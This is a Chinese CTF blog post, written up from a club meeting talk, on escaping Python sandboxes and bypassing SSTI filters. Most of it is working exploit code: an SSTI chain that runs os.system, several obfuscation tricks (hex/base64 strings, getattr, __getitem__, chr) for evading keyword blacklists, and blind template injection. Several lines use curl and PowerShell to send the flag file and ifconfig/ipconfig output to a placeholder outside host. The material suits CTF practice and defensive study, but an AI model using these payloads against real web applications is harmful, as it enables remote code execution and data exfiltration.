Python沙盒及SSTI绕过

前言

最近比赛打的太菜了,没什么好写的,而且先知和安全客的师傅写的太全了

贴一下前几天例会分享的沙盒及SSTI绕过

也是很基础的内容,DL 轻喷 orz

SSTI形式

贴出我自己SSTI中常用的py2 EXP,下面就用这个做比喻,可能还有更精简的exp,知道的师傅勿喷,求评论告知

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

面对现在CTF的出题人,想直接用这种exp 99.99%是不可能的,更何况拿shell简单的话会有一堆搅屎棍,所以出题人会用各种奇形怪状的过滤姿势阻止你直接使用,这时候就需要用一些奇技淫巧绕过这些恶心的过滤

姿势1

import re

user_input_for_web = input() #伪代码

if re.findall(r'(import)|(system)|(eval)|(builtins)|(os)',user_input_for_web) != []:
    exit

这种黑名单过滤了一些关键字,但是根据上面的exp,可以发现这些关键字都是在字符串中,所以我们可以使用编码字符串来绕过,例如

电脑和你很轻松就能分辨这串是恶意代码

__import__('os').system('whoami')

那如果是这个呢

'5f5f696d706f72745f5f28276f7327292e73797374656d282777686f616d692729'

于是我们可以使用

eval('5f5f696d706f72745f5f28276f7327292e73797374656d282777686f616d692729'.decode('hex'))

来绕过黑名单过滤,我称之为字符串混淆

于是可以发现,只要是在字符串中的,都可以使用这种方式进行绕过

除了这个之外,还有很多字符串混淆的方式

'12345' == '123''45'


'12345' == ''.join(('1','2','3','4','5'))


'12345' == ''.join((chr(49),chr(50),chr(51),chr(52),chr(53)))


'12345' ==  'MTIzNDU='.decode('base64')


'12345' == b'\x31\x32\x33\x34\x35'.decode('utf8')


'12345' == '54321'[::-1]

欢迎师傅们补充

姿势2

import re

user_input_for_web = input() #伪代码

if re.findall(r'(__class__)|(__init__)|(__globals__)|(__base__)',user_input_for_web) != []:
    exit

还是拿我的exp举例,可以很清楚的发现,这次waf把我们的非字符串部分给过滤了,于是乎我们的姿势1完全失效

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

这时要祭出一个函数getattr()

众所周知,python面向对象做的非常完善,万物皆对象,而访问对象内的属性和方法,一般都是使用 . 来访问,

而getattr函数就是一种替代 . 来访问对象内属性和方法的函数,并且它在内置函数中,不需要引入任何包,由于他的第二个参数(被访问的属性名或方法名)为字符串形式,相当于().__class__变成了getattr((),'__class__')形式

惊喜发现,我们可以成功的方法属性转换成字符串形式,结合姿势1

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")


getattr(getattr(getattr(getattr(getattr((),'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['__builtins__']['eval']("__import__('os').system('whoami')")

里面的字符串随意替换混淆,别说waf了,人都看不出来这是啥

姿势3

import re

user_input_for_web = input() #伪代码

if re.findall(r'(\[)|(\])',user_input_for_web) != []:
    exit

上面的不管是哪个exp,我们都用到了[]

但如果waf过滤[]怎么办

比如a = [0,1,2,3,4,5]

如何不用[]取a的第3个元素?

方法1:

a[2]== a.pop(2)

pop函数会将一个列表中的一个元素弹出并返回,但是不建议使用,因为如函数描述,只能用一次,用第二次元素就已经不存在或者变成另一个元素了。

方法2:

a[2]== a.__getitem__(2)

还是内置的函数方法,知道了就行了,推荐使用,记得可以跟姿势1,2结合

姿势4:

如果,如果,连引号都被过滤了怎么办

import re

user_input_for_web = input() #伪代码

if re.findall(r'(\')|(\'])|(")',user_input_for_web) != []:
    exit

天无绝人之路

其实姿势1里面有个方式已经提示了

'12345' == chr(49)+chr(50)+chr(51)+chr(52)+chr(53)

捕获一只没有引号的字符串

#其实我之前还想到了一个方法,不过忘了记下来,等以后想到了在放上来,求师傅们告知

姿势5:

如果,{{和}}都被过滤了呢?

import re

user_input_for_web = input() #伪代码

if re.findall(r'({{)|(}})',user_input_for_web) != []:
    exit

也就是没有回显而已嘛,可以用盲注的思想带外或反弹shell

{% if ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']
("__import__('os').system('curl http://127.0.0.1:1234?`cat flag`')") %}
1
{% endif %} 

然后在放一下带外的exp(markdown有时自动把引号转成中文的,师傅们记得注意符号避免踩坑)

#linux下的poc
os.system('$a=`ifconfig` || curl –data "$a" http://xxx.xxx.xxx.xxx:xxxx')

os.system(curl https://xxx.xxx.xxx.xxx/? `cat flag.txt`)

#windows下的poc
os.system('powershell $a=ipconfig; curl http://xxx.xxx.xxx.xxx:xxxx -Body $a -Method post')

最后放一些再别的地方可能用得到的沙盒绕过tip

execfile()

加载执行一个Py文件,并把里面的方法全部加载到当前上下文中

execfile('./os.py') == from os.py import *

reload()

Python中能直接引用的函数都是__builtin__中

del __builtins__.__import__

reload(__builtins__)

dir()

获得当前模块下的属性方法等

list()

元祖变列表